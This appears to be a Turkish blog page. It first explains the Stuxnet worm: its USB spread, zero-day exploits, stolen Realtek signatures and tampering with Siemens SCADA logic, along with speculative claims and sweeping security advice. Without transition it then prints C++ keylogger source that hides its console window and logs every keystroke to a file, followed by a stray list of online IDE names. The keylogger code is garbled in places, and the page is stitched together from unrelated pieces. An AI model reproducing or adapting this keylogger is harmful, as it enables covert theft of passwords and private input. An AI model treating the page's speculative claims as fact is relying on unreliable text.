Stuxnet

Stuxnet, endüstriyel kontrol sistemlerinin ve dış dünyaya kapalı sistemlerin de hedef olabileceğini göstermesi açısından siber güvenlik konusunda önemli bir yere sahiptir. Virüsün elektrik hatları üzerinden bulaşması da projenin içinde olduğu söylenir. Fakat asıl bulaşma yolu Natanz tesislerinde çalışan bir mühendisin kişisel laptop’una bir cafedeyken ajan tarafından USB bellek ile bulaştırılmıştır.

İran’da hedef reaktörler aktif olmadığı için nükleer bir facia yaşanmamıştır. Eğer reaktörler aktif olsaydı Çernobil benzeri bir felaket olabilirdi.

Microsoft firmasına ait işletim sistemlerini etkileyen Stuxnet, İran’ın nükleer enerji tesisleri hedefliyor ve bu özelliği onun endüstriyel casusluk için geliştirildiği şüphelerini güçlendiriyor.

17 Haziran’da, Belarus menşeli bir antivirüs firması olan VirusBlokAda, şimdilerde Stuxnet olarak bilinen zararlı yazılımın, Windows sistemlerin henüz fark edilmemiş açıklarından yararlanarak bilgisayarlara sızdığını açıklamıştı. Yaklaşık bir ay kadar sonra Microsoft, yazılımın, endüstriyel otomasyon ve kontrol programlarını çalıştıran sistemleri hedef aldığını doğruladı.

VirusBlokAda’nın yayınladığı raporda, yazılımın, harici belleklerin takılıp içeriğinin görüntülenmesiyle sisteme bulaştığı bildirildi. Bu yöntem, güvenlik gerekçesiyle İnternet bağlantısı olmayan süreç kontrol ve otomasyon programları kullanan bilgisayarlar için epey uygun. Biraz daha açıklamak gerekirse, toplam boyutu neredeyse 500 KB kadar küçük olan Stuxnet, harici medyanın dosya görüntüleyici de açılırken, sistemin dosya simgelerini göstermek için kullandığı algoritmayı kullanarak sisteme sızıyor ve kendini Realtek firmasının imzalarıyla sürücü dizinine kopyalıyor. Yazılımın Realtek firmasının elektronik imzalarını nasıl ele geçirdiği konusunda henüz bir bilgi yok. VirusBlokAda’nın uyarılarına da, rapor haberinin kaleme alındığı tarih olan 19 Temmuz itibariyle Realtek tarafından resmi bir açıklama getirilmemişti.

Stuxnet bugüne kadarki en karmaşık virüs!

Symantec güvenlik takımının yöneticisi Liam O. MURCHU, “Bu yazılıma harcanan kaynaklar büyüleyici. Gerçekten!” diyerek kötü amaçlı kodun ne kadar karmaşık bir yapıda olduğunu dile getiriyor. Kasperksy’de kıdemli araştırmacı olarak çalışan Roel SCHOUWENBERG ise, “Google da dâhil olmak üzere pek çok şirketin ağını etkileyen Aurora, bunun yanında çocuk oyuncağı kalır.” diyerek, Murchu’ya katılıyor.

Araştırmacılar, Stuxnet’in şimdiye kadar hiçbir zararlı yazılımda görülmemiş sayıda çok sıfır gün saldırısı (4 zero day attack) diye adlandırılan bir yöntemle bulaştığını söylüyorlar. Peki, nedir bu sıfır gün saldırısı? Tam olarak tanımı, yazılımın geliştiricileri tarafından henüz farkına varılmamış ve yazılımın kullanıma sürüldüğü halindeki açıklardan faydalanan saldırılardır. Yazılımın geliştiricisi tarafından farkedildikleri ve yamanarak düzeltildikleri ana kadar kullanılabilirler. Kapalı kaynaklı yazılımlarda da, özgür yazılımlara oranla fark edilmesi ister istemez daha çok vakit alır ve sistemin güvenliğini tehdit eder. İşte Stuxnet bu şekilde, ortalama bir kötü amaçlı yazılımın bir adet açığı hedeflediği genel kabul görürken, şimdilik bilinen dört açığı kullanıyor ki bu da komplo teorisyenleri tarafından, sistemin karmaşıklığı da ele alındığında devlet destekli bir saldırı olarak yorumlanıyor.

Microsoft bahsedilen açıklardan iki tanesini, saldırıdan çok sonra, 2 Ağustos’ta yayınladığı yamayla kapadı. Geri kalan az riskli iki tanesiniyse daha sonra yayınlamayı planladığı genel bir güvenlik güncelleştirmesi ile kapayacak!

Stuxnet’in hedef aldığı programın otomasyon ve kontrol programları olduğunu söylemiştik. Şimdiye kadar bildirilen vakalar içerisinde Siemens’in kontrol sistemleri dışında sistemler kullanıp da bu yazılımdan etkilenen yok. Siemens ise Stuxnet’in 15 adet sistemine bulaştığını fakat henüz bir zarara neden olmadığını bildirdi.

Stuxnet Virüsü Nasıl Çalışıyor?

Stuxnet bir bilgisayara harici bellekle bulaştıktan sonra kendini sürücü dizinine kopyalıyor ve Siemens’in WinCC ve PCS 7 adını verdiği SCADA (kontrol yönetimi ve veri toplayıcı) programlarını arıyor. Eğer bu programları bulursa kendini Siemens’in öntanımlı parolalarını kullanarak programa entegre ediyor ve kontrol mantığını, kötü amaçlı yazılımın yazarının isteği doğrultusunda değiştirecek ek modülleri programa ekleyerek değiştiriyor. Böylelikle bütün bir tesisin kontrol mekanizmasını etkiliyor.

Windows sisteminde kendini System32 içindeki dosya olan lsass.exe olarak tanıtmış ve Stuxnet bu şekilde dağıtılmıştır.

Bu tarz saldırıların boyutunu şöyle bir örnekle kafamızda canlandırabiliriz: Stuxnet’in bulaştığı bilgisayarların %60’ı İran’da olduğu için örneğimiz nükleer reaktör olsun. Diyelim ki bir nükleer reaktörün kontrol sisteminden sorumlusunuz. Reaktörün üst sıcaklık değerini 750 dereceye ayarladınız. Termoçiftiniz reaktörün sıcaklığı 750 dereceye yaklaşmaya başladığı anda, kontrol sisteminize haber verir. Bu girdiyi alan sistem, sıcaklığın düşürülmesi için gerekli adımları, içerisinde kodlanmış mantığa uygun olacak şekilde izler. Örneğin soğutma suyunun devrini hızlandırır. İşte bu noktada eğer Stuxnet kontrol adımlarını yeniden tanımlarsa, örneğin reaktör 750 dereceye geldiğinde su akışını hızlandırmak yerine yavaşlatırsa, kazalar kaçınılmaz hale gelir. Yazılım bunun gibi pek çok nedenden dolayı endüstriyel tesisler için tehlike arz ediyor.

Uzmanlar Stuxnet’in yazarının tek bir kişi olamayacağını, çünkü, sistemin veritabanından, kök takımlara, PLC algoritmalarından, Realtek’in elektronik imzalarının çalınmasına ve Siemens’in donanımına kadar her şeye vakıf tek bir kişinin olamayacağını, farklı disiplinlerde eğitim görmüş bir grup tarafından yazıldığını düşünüyor. Bu da yukarıda da belirtildiği üzere, devlet destekli bir yazılım olduğu teorilerini destekler nitelikte.

Önlemler Ne Olabilir!

Nükleer santral gibi önemli projelerde kullanacağınız işletim sistemi çok önemlidir. Bu işletim sistemi Windows alt yapılı olursa o reaktör zaten size ait değildir. Linux veya UNIX olmalıdır. Fakat dağıtımı free olan veya Debian gibi mimarisi belli olan ve onun üzerine yazılmış bir işletim sistemi olmamalıdır. Paketleri ve mimarisi özgün olan bir Linux işletim sistemi olmalıdır. Kernel üzerine sizin yazacağınız özgün bir işletim sistemi olmalıdır. Mimarisi size ait olan. Çünkü mimari alt yapısı belli olan sistemlere saldırılar ve tehditler bellidir.

C++ Keylogger

#include 
using namespace std;
#include 
#include 

int Save (int key_stroke, char *file);

**** Stealth();

int main()
{
Stealth();
char i;

while(1)
{
for(i=8 ; i<=190 ; i++)
{

if(GetAsyncKeyState(i)== -32767)
Save(i,”LOG.TXT”);

}

}

system(“PAUSE”);
return 0;

}

int Save (int key_stroke, char *file) {

if((key_stroke==1) || (key_stroke==2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE=fopen(file, “a+”);
fprintf(OUTPUT_FILE, “%s”, &key_stroke);
fclose(OUTPUT_FILE);
cout<
if (key_stroke==8)
fprintf(OUTPUT_FILE, “%s”, “[BACKSPACE]”);
return 0;

}

**** Stealth()
{

HWND stealth;
AllocConsole();
stealth = FindWindowA(“ConsoleWindowClass”, NULL);
ShowWindow(stealth,0);

}

Coding Blocks
Android Emulatör Studio
Mobile Phone Emulatör
Type Script
Code Pad
İde One
Code Shef